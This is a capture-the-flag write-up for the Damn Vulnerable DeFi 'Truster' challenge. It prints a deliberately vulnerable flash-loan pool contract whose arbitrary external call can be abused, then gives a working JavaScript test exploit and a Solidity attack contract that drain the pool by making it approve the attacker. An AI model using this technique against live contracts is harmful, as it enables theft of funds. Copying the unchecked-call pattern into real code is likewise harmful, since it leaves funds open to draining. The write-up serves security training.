Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, etc. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge can pass.
Challenge link: https://www.damnvulnerabledefi.xyz/challenges/3.html
Challenge description:
There is a lending pool contract that provides flash loan functionality for DVT tokens, with a total of 1 million tokens. However, you don't have any tokens. Your task is to deplete all the tokens from the lending pool in a single transaction.
First, let's take a look at the source code of the lending pool contract.
TrusterLenderPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
// Token instance
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
// Flash loan function
// borrowAmount: the amount to borrow
// borrower: the borrower's address
// target: the address of the callback contract
// data: the calldata formed by the callback contract's method and parameters
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
// Get the balance of DVT tokens in this contract
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// Transfer borrowAmount of DVT tokens to the borrower's address
damnValuableToken.transfer(borrower, borrowAmount);
// Call the callback method of the target contract
target.functionCall(data);
// Ensure that the loan has been paid back
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
From the smart contract, we can see that it is not possible to take out all the tokens from the flash loan method. The contract checks the balance at the end and rolls back the transaction if it is not satisfied.
Let's try a different approach. If we can call the transferFrom
method of the token contract, like this:
token.transferFrom(pool, attacker, account);
We can transfer the tokens from the lending pool contract to the attacker's address.
However, to successfully execute transferFrom
, authorization from the token contract is required. In the ERC20 standard, there is a method called approve
:
function approve(address spender, uint256 amount) public virtual override returns (bool)
It allows the caller to approve the spender to spend a certain amount of tokens from the caller's account.
In this challenge, we can call a similar method in the lending pool contract:
token.approve(attacker, amount);
This means that the caller (the lending pool contract) approves the attacker's address to spend the specified amount of tokens.
However, there is no place in the lending pool contract to make this call. But we notice that inside the flashLoan
method, there is a line of code target.functionCall(data);
, which internally makes a low-level call target.call(data)
.
Interactions between smart contracts are done through calldata, which looks like:
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
The first 4 bytes (6057361d) are the function selector (the identifier of the function), and the rest are the input parameters passed to the function.
Inside a contract, calldata can be constructed usingabi.encodeWithSignature("functionName(...parameterTypes)", ...params)
.
So in this challenge, the target is the address of the token contract, and the data is the approve
method. In JavaScript, we can construct the data as follows:
const abi = [
'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])
After that, we can call the flashLoan
method with the corresponding parameters. If it executes successfully, it means that the balance in the lending pool contract can be manipulated by the attacker. The code is as follows:
it('Exploit', async function () {
const abi = [
'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])
await this.pool.flashLoan(0, deployer.address, this.token.address, data)
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})
Run yarn truster
, and the test passes!
However, the challenge requires performing a transaction. Obviously, our code does not meet this requirement. So we can execute a transaction through a smart contract.
TrusterAttack.sol
pragma solidity ^0.8.0;
import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
TrusterLenderPool public pool;
IERC20 public token;
constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = IERC20(_token);
}
function attack(address borrower) external {
address sender = msg.sender;
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
pool.flashLoan(0, borrower, address(token), data);
token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
}
}
Then, in the test case, deploy the contract and execute the attack
method:
it('Exploit', async function () {
const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)
await trusterAttack.connect(attacker).attack(deployer.address)
})
Finally, run yarn truster
, and the test passes!